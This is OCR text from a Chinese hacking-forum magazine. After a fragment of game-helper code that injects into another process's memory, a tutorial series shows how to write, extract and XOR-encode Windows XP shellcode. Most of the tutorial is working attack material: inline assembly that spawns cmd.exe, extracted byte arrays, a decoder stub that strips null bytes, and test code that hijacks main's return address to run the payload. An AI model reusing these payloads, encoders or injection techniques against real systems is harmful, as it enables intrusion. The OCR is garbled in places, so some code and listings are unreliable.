     目标.写入(内存, { 106, 0, 184 } + 到字节集(取库函数地址(取模块句柄2("kernel32.dll"), "GetWoduleHandleA"))
+ { 255, 208, 195 }) ′ {106, 0, 184, 17, 17, 17, 255, 208, 195}
     地址 = 创建远程线程(目标.取操作句柄 (),内存) + 2167268
     目标. 写整数 (地址, 0)
     x = 取窗口左边 (句柄)
     y = 取窗口顶边 (句柄)
= + 窗口最前(句柄,真)
     --> 判断循环首 (句柄 ≠ -1)
       句柄 = 取句柄( , "公告窗口")
       模拟鼠标点击 (x + 450, y + 540, 0)
       延迟 (250)
     --- 判断循环尾 0
     模拟按键 (#回车键, , )
     句柄 = 取句柄 (, , "神仙道懒娃伴侣全能版Beta VO.52")
     窗口最前(句柄, 假)
                               图 5.3.10 代码视图
这代码 TM 够通俗易懂了吧?! 嘲讽 E 语言的都要烧死!!!
```

(全文完)责任编辑: left

第3节. Shellcode 简单编写(一)

作者: 寒江雪语 来自:法客论坛-F4ck Team 网址: http://team.f4ck.net/ 童鞋们,新学期开始,要好好学习,天天向上。代码艺术,艺术,不得不让我想起 shellcode, 代码艺术板块平均发帖量不是很多,所以打算简单连载下 shellcode 的编写,由于本人技 术有限,如有错误,欢迎大牛们指出。。。 语言: C 编译环境 : VC6.0 操作系统: windows XP 初学编写 shellcode 时,都喜欢先测试弹框程序,弹 cmd 黑框啊,或是弹计算器啊 看下面一个简单的程序,弹黑框程序 #include "windows.h" #include "stdio.h" int main() { LoadLibrary("msvcrt.dll"); system("cmd.exe"); return 1;

因为 system 函数在 msvcrt 库中,所以在调用 system 函数前先加载该库。 那怎写一段 shellcode 实现上面弹框的功能呢?

一般两种方式,一是利用汇编实现上述功能,然后提取出二进制指令代码。

另一种就是利用内联汇编(在 c 程序中嵌入汇编代码),然后提取,如下利用内联汇编实现弹框代码(笔者比较喜欢此种方式)

```
#include "windows.h"
int main()
{
    int LoadLibraryAdress = 0x7c801d7b;
    int systemAdress = 0x77bf93c7;
    ___asm
    {
        call_LoadLibrary
        __emit 'm'
        __emit 's'
        __emit 's'
        __emit 'v'
        __emit 'c'
        __emit 'r'
        __emit 't'
        __emit 't'
        __emit '.'
```

	emit 'd'
	_emit fr
	emit 'l'
_LoadLibrary:	
	call LoadLibraryAdress
	call system
	_emit 'C'
	_emit 'm'
	emit 'd'
	_emit '.'
	_emit 'e'
	_emit 'x'
	_emit 'e'
	_emit 0
_system:	
	call systemAdress
}	
return 1.	
recum1,	
}	

运行此程序,即弹出 cmd 命令框(当然将 system 函数的参数改下,也可以弹出计算器,有 兴趣的可以试下),如图 5.1.1

			11		
♥ #41D45#	S *C:\Decu	ments s	and Setting	s\Admin	istrator\桌面\shellcode\Debug\t
#include "windows.h"	(C)版权所有	1985-	2001 Micros	soft Com	*D.
int min()					
/ /	C:\Docunent	s and S	ettings \Ada	ninistra	ator\桌面\shellcode>dir
int LoadLibraruAdress = A	驱动器 C 円	中的卷没	有标签。		
int sustemAdress = Ax77hf	卷的序列号	문 7C71	-4888		
asn	and an				
<u></u>	C: Docunen	ts and	Settings \A	dministi	wator\果面\shellcode 的日家
call _LoadLibrary					-
_emit 'n'	2013-03-02	21:18	(DIR)		*
emit 's'	2013-03-02	21:18	<dir></dir>		
emit 'u'	2013-03-02	21:19	<dir></dir>		Debug
emit 'c'	2013-03-02	21:14		1,603	getshellcode.cpp
onit 'r'	2013-03-02	21:18		3,473	getshellcode.dsp
_ent r	2013-03-02	21:17		33,792	getshellcode.ncb
_enit ' '	2013-03-02	21:18		48,640	getshellcode.opt
onit 'd'	2013-03-02	21:19		776	getshellcode.plg
onit 'l'	2013-03-02	21:19		148	she 14. that
_enit 1	2013-03-02	20:12		0	shellcedetest.com
_enit f	2013-03-02	20:02		333	testi .pp
Load ibraru	2013-03-02	19:05		3,389	test1 dap POLICY IPAM
_coauciorary:	0.01.0 00 00	10.00		05 400	1 7 54/5 1 0

图 5.1.1 弹出 cmd

那这段代码是如何实现弹出 cmd 命令框的呢? 写过 c 程序的人应该知道 c 中函数调用时参数由右到左逐个入栈的,参数入栈完毕后(这两个函数都只有一个参数),执行 call 指令, 跳到要执行的函数处。

_emit 伪指令的作用便是通知编译器直接在二进制文件中加入一个字符,以LoadLibrary 函数而言,参数为msvcrt.dll,将参数的所有字符逐个加到文件中,而前面一句 call 指令完成两个功能,一跳的指定的地址执行,本程序中即执行 call LoadLibrary 的地址处,;另一作用便是将下条指令的地址入栈,将_emit `c'的地址入栈,即字符串的首地址入栈,也就是完成LoadLibrary 函数参数的入栈,然后调用函数LoadLibrary 完成相应的功能。函数 system("cmd.exe")亦是如此。

通过程序可以看出,两个函数的地址是固定的,为了简单,我们暂时先使用固定地址,xp 系统的库和函数地址都是固定的(win7的是变的),测试后可以如此,如何获取函数地址, 简单程序如下:

```
#include "windows.h"
#include "stdio.h"
int main()
{
    HINSTANCE LibHandle;
    int systemAdress;
    LibHandle = LoadLibrary("msvcrt.dll"); //获得库地址
    printf("LoadLibraryAdress = %0x",LoadLibrary);
    systemAdress = (int)GetProcAddress(LibHandle,"system"); //获得库中函数的地
址
    printf("\nsystemAdress = %0x\n",systemAdress);
    return 1;
}
```

结果如图 5.1.2:



图 5.1.2 获取地址

至于 shellcode,把 c 中内嵌的那段汇编代码对应的二进制指令提取出来即可,当然由于函数的地址是固定的,不具有通用性。关于如何提取 shellcode,且见下回…… PS: 由于篇幅、精力等因素,文章未面面俱到,有兴趣的可以多利用闲余时间查看相关书籍。小菜以前这方面主要看的是《Q 版缓冲区溢出》,个人感觉还不错。。。 (全文完)责任编辑: lceSn0w&&飞云

第4节. Shellcode 简单编写(二) ——shellcode 提取

```
作者: 寒江雪语
来自: 法客论坛-F4ck Team
网址: http://team.f4ck.net/
从 shellcode 编写(一)可知,我们所要的 shellcode,我们要做的是将程序中的内联汇编
代码的二进制指令提取出来。
#include "windows.h"
```

int main()	
{	
asm	
{	
	nop
	nop
	nop
	nop
	call _LoadLibrary
	_emit 'm'
	_emit 's'
	_emit 'v'
	_emit 'c'
	_emit 'r'
	_emit 't'
	_emit '.'
	_emit 'd'
	_emit 'l'
	_emit 'l'
	_emit 0
_LoadLibrary:	
	mov eax,0x7c801d7b
	call eax
	call _system
	_emit 'c'
	_emit 'm'
	_emit 'd'
	_emit '.'
	_emit 'e'
	_emit 'x'
	_emit 'e'
	_emit 0
_system:	
	mov eax,0x77bf93c7
	call eax
	nop
	nop
	nop
	nop
}	
return 0	;

} 上述代码中的 nop 指令是空指令,没有什么实际效果。 提取 shellcode 方式也有很多种,有简单的,也有很麻烦的......

(1)、在编译环境中查看指令码

我们可以在程序中下上断点,进行调试,查看器汇编指令和字节码,如图 5.1.3

ionai ilicilineis 📶 🔺 i	114111		
19: 19: 19: 19: 19: 19: 19: 19: 19: 19:	nop	字講码	
11:	call _LoadLit	rary	
0040102C E8 0B	00 00 00	call	LoadLibrary (0040103c)
12:	_emit 'm'		
00401031 6D	_	ins	dword ptr [edi],dx
13:	_emit 's'		
00401032 73 76		jae	chkesp+1Ah (004010aa)
15:	_emit 'c'		
00401034 63 72	74	arpl	word ptr [edx+74h],si
18:	_emit '.'		
00401037 2E		???	
19:	_emit 'd'		
00401038 64 60		ins	byte ptr [edi],dx
21:	_emit 'l'		
0040103A 6C		ins	bute ptr [edi],dx
23: _LcadLib	rary:		
24:	mov eax,	x7c801d7b	
0040103C B8 7B	1D 80 7C	nov	eax,70801079h
25:	call eax		

图 5.1.3 调试程序

上图字节码对应的就是 shellcode,将 nop 也就是字节码 90 中间的抄下来就是完整的 shell code 。

当然没人愿意这么费劲的提取 shellcode,只是帮助理解下。

(2) 把 shellcode 放在特殊代码中,如上所示,主要功能两端各加一些 nop 指令,编译生 成 exe 文件。然后随便使用一个二进制编辑器 打开 exe 搜索即可。这里使用 010editor,打 开文件后, 搜索 90 90 90 90 结果如图 5.1.4

~~~~	~~~	~~~	~~~	00				$\sim \sim$	~~~~	~~~~		00	~~~~	~~~~	~~~~
CC	CC	CC	CC	CC	E9	06	00	00	00	CC	CC	CC	CC	CC	CC
55	8B	EC	83	ЕC	40	53	56	57	8D	7D	CO	B9	10	00	00
00	B8	CC	CC	CC	CC	FЗ	AB	90	90	90	90	E8	OB	00	00
00	6D	73	76	63	72	74	2 E	64	6C	6C	00	B8	7B	P	80
7C	FF	DO	E8	08	00	00	00	63	6D	64	2E	65	78	65	00
В8	C7	93	BF	77	FF	DO	90	90	90	90	33	CO,	5F	52	5B
83	C4	40	ЗB	EC	E8	26	00	00	00	8B	E5	5D	C3	66	cc

图 5.1.4 搜索截图

很明显,两个四个字节的90,和程序中的吻合,所以中间的那段字节码就是我们要的 shell code 。

(3) 编程自动提取 shellcode

#include <stdio.h>

int main()

{

int ShellCodeSize=0; //用于保存 ShellCode 代码长度 char * ShellCodeAddr; //指向 ShellCode 代码在内存中的起始地址

asm		
{		
// //莽取 St	nellCode 的	内存起始地址和代码大小,以便打印输出
	PUSHAD	//保存所有寄存器的值
	JMP	L1
L2:		
	POP	ESI
	MOV	ShellCodeAddr,ESI ;获得 ShellCode 起址
	LEA	ECX,ShellCodeEnd ; ShellCode 起始地址
	LEA	EDX,ShellCodeBegin ;shellcode 结束地址
	SUB	ECX,EDX ;计算 ShellCode 代码长度
	MOV	ShellCodeSize, ECX
	POPAD	// 还原所有寄存器的值
	JMP	ShellCodeEnd
L1: CALL L2 ;此处 得到此地址	将程序下条	地址即 shellcode 开始地址压栈,上面指令 pop esi
//ShellCode 代码		
ShellCodeBegin:		
-	call_LoadL	ibrary
	_emit 'm'	
	_emit 's'	
	_emit 'v'	
	_emit 'c'	
	_emit 'r'	
	_emit 't'	
	_emit u	
	_emit 'l'	
	_emit 0	
Loadlibrary:		
mov eax.	,0x7c801d7	'b
	call eax	
	call_syster	n
	_emit 'c'	
	_emit 'm'	
	_emit 'd'	

```
emit '.'
                          emit 'e'
                          _emit 'x'
                          emit 'e'
                          emit 0
system:
                 mov eax,0x77bf93c7
                          call eax
ShellCodeEnd:
        }
        FILE *file;
        file=fopen("shell.txt","w");
                                       //将提取的 shellcode 写到此文件中
        if(!file) printf("打开文件失败");
        for(int i=0;i<ShellCodeSize;i++)</pre>
        {
                 if(i%8==0&&i!=0) printf("\n");
                 fprintf(file,"\\x%02x",(unsigned char)ShellCodeAddr[i]);
                                                                             || 控制
shellcode 输出格式
}
return 1;
```

```
提取的 shellcode 如图 5.1.5
```

```
\xe8\x0b\x00\x00\x00\x6d\x73\x76\x63\x72\x74\x2e\x64\x6c\x6c\x6c\x66\x66
\x7b\x1d\x80\x7c\xff\xd0\xe8\x08\x00\x00\x00\x63\x6d\x64\x2e\x65\x78\x65
\x00\xb8\xc7\x93\xbf\x77\xff\xd0
```

图 5.1.5 shellcode

当然,三种方式结果都一样,也很显然,通过程序自动提取 shellcode 更方便,也很方便控制。

这也是一个模板,把我们的主功能代码放在 ShellCodeBegin: 和 ShellCodeEnd:之间,就可以得到所要的 shellcode。

测试结果(下面是一个测试程序):

```
#include <stdio.h>
unsigned char szShellcode[0x1000] =
"\x90\x90\xe8\x0b\x00\x00\x00\x6d" //9090 空指令,shellcode 编写习惯,确保 shellcode
执行
"\x73\x76\x63\x72\x74\x2e\x64\x6c\x6c\x00"
"\xb8\x7b\x1d\x80\x7c\xff\xd0\xe8\x08\x00"
"\x00\x00\x63\x6d\x64\x2e\x65\x78\x65\x00\xb8"
"\xc7\x93\xbf\x77\xff\xd0";
int main(int argc, char* argv[])
{
    int *ret;
    ret = (int *)&ret + 2; //ret 等于 main () 的返回地址
    (*ret) = (int)szShellcode; // 修改 main () 的返回地址为 shellcode 的开始地址。
```
return 0;

结果如下:

Shellcode 正常执行,如图 5.1.6

	bal members 🗾 🌢 main	🖬 "C:\Docu	ments	and Settings	s\Administrator\桌面\shellco	de\Debug
	shellcodetest.cpp THOC:\Documents and Settings\ unsigned char szShellcode[0x1000] =	卷的序列号	是 7C71	L-488A		
	"\x90\x90\xe8\x00\x00\x00\x00\x6d" "\x73\x76\x63\x72\x74\x2e\x64\x6c\x6c\x00"	C: \Docunen	ts and	Settings \Ad	Ininistrator\桌面\shellcode	的目录
	"\xb8\x7b\x1d\x80\x7c\xff\xd8\x88\x88\x80"	2013-03-04	08:58	(DIR)		
	"\x88\x88\x03\x01\x04\x22\x05\x78\x05\x88\x05 "\vc7\vc7\vc4\x03\x08\x05\x88\x05	2013-03-04	08:58	(DIR)		
1	int main(int aroc, char* arou[])	2013-03-03	23:22	(818)	258 allshellcode.txt	
	{	2013-03-04 2013-03-04	88:37 88:28	(DIR)	1.583 getcode.com	
	int *ret;	2013-03-04	88:28		3,413 getcode.dsp	
	ret = (int *)&ret + 2; //ret 等于nain ())	2013-03-04	00:27		522 getcode.dsu	
	//(+ a定因为: 有push eup ,否则加230、可以)。	2013-03-04	00:27		41.984 getcrie.neb	8
	(*ret) = (int)szShellcode: //修改nain ())	2013-03-04	00:27	U	48. fatt getcode opt	<i>I</i> B
	(, (,, ///p// () )	2013-03-04 2013-03-04	00:20 08:58	d	1481 get Bellsede pp	E

图 5.1.6 运行成功

**PS:** 由于篇幅、精力,能力等因素,文章未面面俱到,有兴趣的可以多利用闲余时间查看 相关书籍

(全文完)责任编辑: IceSn0w&&飞云

## 第5节. Shellcode 编写(三)——shellcode 加密解密

作者: 寒江雪语

来自:法客论坛-F4ck Team

网址: http://team.f4ck.net/

在 shellcode 编写(二)中我们提取出了 shellcode,但大多时候,由于某些限制,这些直接 提取的 shellcode 是无法直接使用的,比如字符串的 00 截断,特殊字数的限制啊。 所以需要我们对提取出的 shellcode 做适当的变换。

在此我们仅做下最简单的运算变换,异或运算

将 shellcode 的每个字节和一固定数做异或运算。

在 shellcode 编写(二)我们提取出的 shellcode 如下:

"\x90\x90\xe8\x0b\x00\x00\x00\x6d" "\x73\x76\x63\x72\x74\x2e\x64\x6c\x6c\x00" "\xb8\x7b\x1d\x80\x7c\xff\xd0\xe8\x08\x00" "\x00\x00\x63\x6d\x64\x2e\x65\x78\x65\x00\xb8" "\xc7\x93\xbf\x77\xff\xd0"

很明显有很多00,如果存在字符串的00截断时,是不能完整运行的。

在做异或加密运算时,只需要在我们的 shellcode 提取的程序上做少量的修改,如下:

#include <stdio.h>

int main()

```
int ShellCodeSize=0; //用于保存 ShellCode 代码长度
       char * ShellCodeAddr; //指向 ShellCode 代码在内存中的起始地址
        asm
       {
               //-----
                                    _____
               //获取 ShellCode 的内存起始地址和代码大小,以便打印输出
                      PUSHAD
                                 //保存所有寄存器的值
                      JMP
                                L1
L2:
                      POP
                                ESI
                      MOV ShellCodeAddr,ESI ;获付 5104-5
LEA ECX,ShellCodeEnd ; ShellCode 起始地址
:shellcode 结束地址
                             EDX,ShellCodeBegin ;shellcode 结束地址
ECX,EDX ;计算 ShellCode 代码长度
                      SUB
                      MOV
                                ShellCodeSize, ECX
                      POPAD
                               //还原所有寄存器的值
                      JMP
                                ShellCodeEnd
L1: CALL L2 ;此处将程序下条地址即 shellcode 开始地址压栈,上面指令 pop esi
得到此地址
        //---
        //ShellCode 代码
ShellCodeBegin:
                      call _LoadLibrary
                      _emit 'm'
                      _emit 's'
                      _emit 'v'
                      _emit 'c'
                      _emit 'r'
                      _emit 't'
                      _emit '.'
                      _emit 'd'
                      _emit 'l'
                      _emit 'l'
                      _emit 0
_LoadLibrary:
               mov eax,0x7c801d7b
                      call eax
                      call _system
                      _emit 'c'
                      _emit 'm'
                      _emit 'd'
                      _emit '.'
                      _emit 'e'
```

第 71页/共 77 页

	_emit 'x'
	_emit 'e'
	_emit 0
_system:	
mov ea	x,0x77bf93c7
	call eax
ShellCodeEnd:	
}	
FILE *file;	
file=fopen("shel	I.txt","w"); //将提取的 shellcode 写到此文件中
if(!file) printf("打	「开文件失败");
for(int i=0;i <she< td=""><td>ellCodeSize;i++)</td></she<>	ellCodeSize;i++)
{	
if(i%8=	==0&&i!=0)
fprintf(	file,"\\x%02x",(unsigned char)ShellCodeAddr[i] ^ 0x97); //
此处对 shellcode 进行与 0	x97做异或加密运算(当然亦可作其他变换,使加密后的 shellcode
无 00 即可)	
}	
return 1:	
3	
加密后的结果加图517	
- shellwar tet - 记事:	+
shellxor.txt - 记事 (文件の) 使得の) 終式(0) そう	
shellxor.txt - 記事 文件(2) 編辑(2) 格式(2) 3 \x7f\x9c\x97\x97\x97\x97\x97\x97\x97\x97\x97\x97	本 ■ ■ ■ ■ 整看 W 帮助 他 ×Fa\×e4\×e1\xf4\xe5\xe3\xb9\xf3\xfb\xfb\xfb\xg7 ↓ () ♀ ∧
Shellxor.txt - 記事 文件② 編辑② 格式③ 3 \x7f\x9c\x97\x97\x97\ \x2f\xec\x8a\x17\xeb\;	本 基看 (V) 帮助 (L) xfa\xe4\xe1\xf4\xe5\xe3\xb9\xf3\xfb\xfb\x97 x68\x47\x7f\x9f\x97\x97\x97\xf4\xfa\xf3\xb9\xf2
Shellxor.txt - 记事 文件② 编辑② 格式② 3 \x7f\x9c\x97\x97\x97\x \x2f\xec\x8a\x17\xeb\x \xef\xf2\x97\x2f\x50\x	本 聖香 W 帮助 W xfa\xe4\xe1\xf4\xe5\xe3\xb9\xf3\xfb\xfb\xfb\xy7 x68\x47\x7f\x9f\x97\x97\x97\xf4\xfa\xf3\xb9\xf2 x64\x28\xe6\x68\x47 Security Team
▶ shellxor.txt - 记事 文件② 编辑② 格式③ 函 \x7f\x9c\x97\x97\x97\x \x2f\xec\x8a\x17\xeb\x \xef\xf2\x97\x2f\x50\x	本 重看 W 帮助 W xfa\xe4\xe1\xf4\xe5\xe3\xb9\xf3\xfb\xfb\x97 x68\x47\x7f\x9f\x97\x97\x97\xf4\xfa\xf3\xb9\xf2 x04\x28\xe0\x68\x47 BECURITY TEAM
Shellxor.txt - 记事 文件② 编辑② 格式② 3 \x7f\x9c\x97\x97\x97\x \x2f\xec\x8a\x17\xeb\x \xef\xf2\x97\x2f\x50\x	本 至看 W 帮助 W xfa\xe4\xe1\xf4\xe5\xe3\xb9\xf3\xfb\xfb\xfb\xy7 V x68\x47\x7f\x9f\x97\x97\x97\xf4\xfa\xf3\xb9\xf2 x64\x28\xe6\x68\x47 图 5.1.7 加密后的 shellcode
shellxor.txt - 记事 文件(2) 编辑(2) 格式(0) 子 \x7f\x9c\x97\x97\x97\x \x2f\xec\x8a\x17\xeb\ \xef\xf2\x97\x2f\x58\ (xef\xf2\x97\x2f\x58\)	本 重看 W 一部助 M xfa\xe4\xe1\xf4\xe5\xe3\xb9\xf3\xfb\xfb\x97 x68\x47\x7f\x9f\x97\x97\xf4\xf3\xb9\xf2 x04\x28\xe0\x68\x47 Security Team 图 5.1.7 加密后的 shellcode
<ul> <li>shellxor.txt - 记事:</li> <li>文件(2) 编辑(2) 格式(2) 3</li> <li>\x7f\x9c\x97\x97\x97\x97\x2f\x2f\x2f\x2f\x2f\x2f\x2f\x2f\x2f\x2f</li></ul>	本     ここと            「香 (1) 帮助 (1) ※fa\xe4\xe1\xf4\xe5\xe3\xb9\xf3\xfb\xfb\xfb\xy7_L            ※fa\xe4\xe1\xf4\xe5\xe3\xb9\xf3\xfb\xfb\xfb\xy7_L            ×68\x47\x7f\x9f\x97\x97\x97\xf4\xfa\xf3\xb9\xf2 ×68\x47\x7f\x9f\x97\x97\x97\xf4             ×68\x47\x7f\x9f\x97\x97\x97\xf4             ×68\x47             ×68\x47\x7f\x9f\x97\x97\x97\xf4             ×68\x47              ×68
<ul> <li>shellxor.txt - 记事:</li> <li>文件(2) 编辑(2) 格式(0) 子</li> <li>\x7f\x9c\x97\x97\x97\x97\x</li> <li>\x2f\xec\x8a\x17\xeb\;</li> <li>\xef\xf2\x97\x2f\x56\;</li> <li>00 已经不存在了</li> <li>(二) Shellcode 解密:</li> <li>对 shellcode 进行加密,自</li> </ul>	本       • • • • • • • • • • • • • • • • • • •
<ul> <li>shellxor.txt = 记事:</li> <li>文件(2) 编辑(2) 格式(2) 3</li> <li>\x7f\x9c\x97\x97\x97\x97\x2f\x2f\x2f\x2f\x2f\x2f\x2f\x2f\x2f\x2f</li></ul>	本       • • • • • • • • • • • • • • • • • • •
<ul> <li>shellxor.txt = 记事:</li> <li>文件(2) 编辑(2) 格式(0) 子</li> <li>\x7f\x9c\x97\x97\x97\x97\x97\x2f\x2f\x2f\xec\x8a\x17\xeb\;</li> <li>\x2f\xec\x8a\x17\xeb\;</li> <li>\xef\xf2\x97\x2f\x56\;</li> <li>00 已经不存在了</li> <li>(二) Shellcode 解密:</li> <li>对 shellcode 进行加密,自</li> <li>或回去就行了。</li> <li>看面一段解密代码:</li> </ul>	本       • • • • • • • • • • • • • • • • • • •
<ul> <li>shellxor.txt - 记季</li> <li>文件(2) 编辑(2) 格式(2) 子</li> <li>x7f\x9c\x97\x97\x97\x97\x97\x2f\x2f\x2f\x2f\x2f\x2f\x2f\x2f\x2f\x2f</li></ul>	本       () 帮助 ()         xfa\xe4\xe1\xf4\xe5\xe3\xb9\xf3\xfb\xfb\xfb\xf7\x97\x97\xf4\xfa\xf3\xb9\xf2         x68\x47\x7f\x9f\x97\x97\x97\xf4\xfa\xf3\xb9\xf2         x64\x28\xe6\x68\x47         B 5.1.7 加密后的 shellcode         然要进行解密运算,对与异或加密运算,解密很简单,就是在异
<ul> <li>shellxor.txt - 记季:</li> <li>文件(2) 编辑(2) 格式(0) 子</li> <li>\x7f\x9c\x97\x97\x97\x97\x97\x2f\x2f\x2f\x2f\x2f\x2f\x56\;</li> <li>00 已经不存在了</li> <li>(二) Shellcode 解密:</li> <li>对 shellcode 进行加密,自或回去就行了。</li> <li>看面一段解密代码:</li> <li>jmp decode_end</li> <li>decode_start:</li> </ul>	本       () 帮助 ()         xfa\xe4\xe1\xf4\xe5\xe3\xb9\xf3\xfb\xfb\xfa\xf3\xb9\xf2         x68\x47\x7f\x9f\x97\x97\x97\xf4\xfa\xf3\xb9\xf2         x68\x47\x7f\x9f\x97\x97\x97\xf4\xfa\xf3\xb9\xf2         x68\x47\x7f\x9f\x9f\x97\x97\x97\xf4\xfa\xf3\xb9\xf2         x68\x47\x7f\x9f\x9f\x97\x97\x97\xf4\xfa\xf3\xb9\xf2         x68\x47\x7f\x9f\x9f\x97\x97\x97\xf4\xfa\xf3\xb9\xf2         x68\x47\x7f\x9f\x9f\x97\x97\x97\xf4\xfa\xf3\xb9\xf2         x64\x28\xe0\x68\x47         Security Team         图 5.1.7 加密后的 shellcode         然要进行解密运算,对与异或加密运算,解密很简单,就是在异
Shellxor.txt - 记季: 文件 ② 编辑 ② 格式 ② 3 \x7f\x9c\x97\x97\x97\x97\x \x2f\xec\x8a\x17\xeb\; \xef\xf2\x97\x2f\x50\; \xef\xf2\x97\x2f\x50\; \xef\xf2\x97\x2f\x50\; 00 已经不存在了 (二) Shellcode 解密: 对 shellcode 进行加密, 自 或回去就行了。 看面一段解密代码: jmp decode_end decode_start:	本       () 帮助 ()         ※fa\xe4\xe1\xf4\xe5\xe3\xb9\xf3\xfb\xfb\xf5\xg7\xg7\xg7\xf4\xfa\xf3\xb9\xf2         x68\x47\x7f\x9f\x97\x97\x97\xf4\xfa\xf3\xb9\xf2         x64\x28\xe6\x68\x47         B 5.1.7 加密后的 shellcode         然要进行解密运算,对与异或加密运算,解密很简单,就是在异         pop edx       //的到 shellcode 的其实起始地址
<ul> <li>shellxor.txt - 记季:</li> <li>文件(2) 編輯(2) 格式(0) 3</li> <li>\x7f\x9c\x97\x97\x97\x97\x97\x2f\x2f\x2f\xec\x8a\x17\xeb\; \x2f\xec\x8a\x17\xeb\; \xef\xf2\x97\x2f\x50\;</li> <li>00 已经不存在了</li> <li>(二) Shellcode 解密:</li> <li>对 shellcode 进行加密,自或回去就行了。</li> <li>看面一段解密代码:</li> <li>jmp decode_end</li> <li>decode_start:</li> </ul>	本       Image: Constraint of the state of
<ul> <li>shellxor.txt - 记季:</li> <li>文件(2) 编辑(2) 格式(0) 3</li> <li>\x7f\x9c\x97\x97\x97\x97\x \x2f\xec\x8a\x17\xeb\; \x2f\xec\x8a\x17\xeb\; \xef\xf2\x97\x2f\x50\;</li> <li>00 已经不存在了 (二) Shellcode 解密:</li> <li>对 shellcode 进行加密,自或回去就行了。</li> <li>看面一段解密代码:</li> <li>jmp decode_end</li> <li>decode_start:</li> </ul>	本       Image: Constraint of the second state
<ul> <li>shellxor.txt = 记季:</li> <li>文件(2) 編輯(2) 格式(0) 3</li> <li>\x7f\x9c\x97\x97\x97\x97\x97\x2f\x2f\x2f\xec\x8a\x17\xeb\; \x2f\xec\x8a\x17\xeb\; \x2f\xec\x8a\x17\xeb\; \xef\xf2\x97\x2f\x50\;</li> <li>00 已经不存在了</li> <li>(二) Shellcode 解密:</li> <li>对 shellcode 进行加密, 自或回去就行了。</li> <li>看面一段解密代码:</li> <li>jmp decode_end</li> <li>decode_start:</li> </ul>	本       Image: Constraint of the second state
shellxor.txt = 记季:         文件(2) 編輯(2) 格式(0) 勇         \x7f\x9c\x97\x97\x97\x97\x97\x         \x2f\xec\x8a\x17\xeb\;         \x2f\xec\x97\x2f\x2b\;         \x2f\xec\x8a\x17\x	本           至者 ① 帮助 ①             ¥着 \Lease A \Lease \Lease \Lease A \Lease \Leas
Shelllxor.txt = 记季:         文件(2) 編輯(2) 格式(0) 子         \x7f\x9c\x97\x97\x97\x97\x97\x97\x2f\x2f\x2f\x2f\x2f\x2f\x2f\x2f\x2f\x2f	季看 (y) 帮助 (y)         xfa\xe4\xe1\xf4\xe5\xe3\xb9\xf3\xfb\xfb\xf2 x68\x47\x7f\x9f\x97\x97\x97\x97\xf4 x68\x47         x68\x47\x7f\x9f\x97\x97\x97\xf4 x64\x28\xe0\x68\x47         B 5.1.7 加密后的 shellcode         然要进行解密运算,对与异或加密运算,解密很简单,就是在异         pop edx       //的到 shellcode 的其实起始地址 dec edx xor ecx,ecx mov cx,0x188         mov cx,0x188       //0x188 可以换成别的,大于 shellcode 的字现 0
<pre>\$ shellxor.txt = 记季; 文件(2) 编辑(2) 格式(0) 3 \x7f\x9c\x97\x97\x97\x97\x \x2f\xec\x8a\x17\xeb\; \xef\xf2\x97\x2f\x56\; 00 已经不存在了 (二) Shellcode 解密: 对 shellcode 进行加密,自 或回去就行了。 看面一段解密代码: jmp decode_end decode_start: 节数就行了,当然不要出 decode_loop:</pre>	本       Image: Constraint of the set
<pre>\$ shellxor.txt = 记事; 文件(2) 编辑(2) 格式(0) 3 \x7f\x9c\x97\x97\x97\x97\x \x2f\xec\x8a\x17\xeb\; \x2f\xec\x8a\x17\xeb\; \xef\xf2\x97\x2f\x50\; 00 已经不存在了 (二) Shellcode 解密: 对 shellcode 进行加密, 自 或回去就行了。 看面一段解密代码: jmp decode_end decode_start: 节数就行了, 当然不要出 decode_loop:</pre>	本       Image: Constraint of the state of

decode_end:

```
call decode_start
decode_ok: //下面即为 shellcode 处
......
```

这段代码正是对 shellcode 进行异或 0x97 解密,所以只需要将此段代码 shellcode 提取出来 放在真的 shellcode 前面就可以实现解密的目的。

如下, 套用 shellcode 提取模板:

```
#include <stdio.h>
int main()
{
      //LoadLibrary("kernel32.dll");
      int LoadLibraryAdress = 0x7c801d7b;
      int systemAdress = 0x77bf93c7;
      int ShellCodeSize=0; //用于保存 ShellCode 代码长度
      char * ShellCodeAddr; //指向 ShellCode 代码在内存中的起始地址
       _asm
      {
             //-----
             //获取 ShellCode 的内存起始地址和代码大小,以便打印输出
             PUSHAD
                    JMP
                             L1
L2:
             POP
                     ESI
                    MOV
                             ShellCodeAddr,ESI ;获得 ShellCode 起址
                             ECX,ShellCodeEnd ;计算 ShellCode 代码长度
                    LEA
                    LEA
                             EDX,ShellCodeBegin
                    SUB
                             ECX,EDX
                    MOV
                             ShellCodeSize, ECX
                    POPAD
                    JMP
                             ShellCodeEnd
L1: CALL L2
                ;此处将程序下条地址即 shellcode 开始地址压栈,上面指令 pop esi
得到此地址
       //-----
                            -----
       //ShellCode 代码
ShellCodeBegin:
             jmp decode_end
decode_start:
                    pop edx // 的到 shellcode 的其实起始地址
                    dec edx
                    xor ecx,ecx
                    mov cx,0x188
decode_loop:
```

>	<b>kor byte PTR [edx+ecx],0x97</b> //解码
k	oop decode_loop
j	mp decode_ok
decode_end:	
call decod	le_start
decode_ok: //下面即为 sh	nellcode 处
ShellCodeEnd:	
}	
FILE *file;	
file=fopen("shellde	code.txt","w");
if(!file) printf("代开	文件失败");
for(int i=0;i <shellc< td=""><th>CodeSize;i++)</th></shellc<>	CodeSize;i++)
{	
if(i%8==0	0&&i!=0)
fprintf(file	,"\\x%02x",(unsigned char)ShellCodeAddr[i]);
}	
return 1;	
}	

得到解码 shellcode 如图 5.1.8





合并后,最终的 shellcode 如图 5.1.9



图 5.1.9 最终 shellcode

(三)测试结果:
#include <stdio.h>
unsigned char szShellcode[0x1000] =
"\x90\x90\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x88\x01\x80\x34\x0a\x97"
"\xe2\xfa\xeb\x05\xe8\xeb\xff\xff" //解码
"\x7f\x9c\x97\x97\x97\x97\xfa\xe4\xe1\xf4\xe5\xe3\xb9\xf3"
"\xfb\xfb\x97\x2f\xec\x8a\x17\xeb\x68\x47\x7f\x9f\x97\x97\x97\xf4\xfa"
"\xf3\xb9\xf2\xef\xf2\x97\x2f\x50\x04\x28\xe0\x68\x47";
int main(int argc, char* argv[])
{
 int *ret;
 int main(int argc, char* argv[])

ret = (int *)&ret + 2; //ret 等于 main () 的返回地址
//(+3 是因为:有 push ebp,否则加2就可以了。)
(*ret) = (int)szShellcode; //修改 main()的返回地址为 shellcode 的开始地址。
return 0;

结果如图 5.1.10

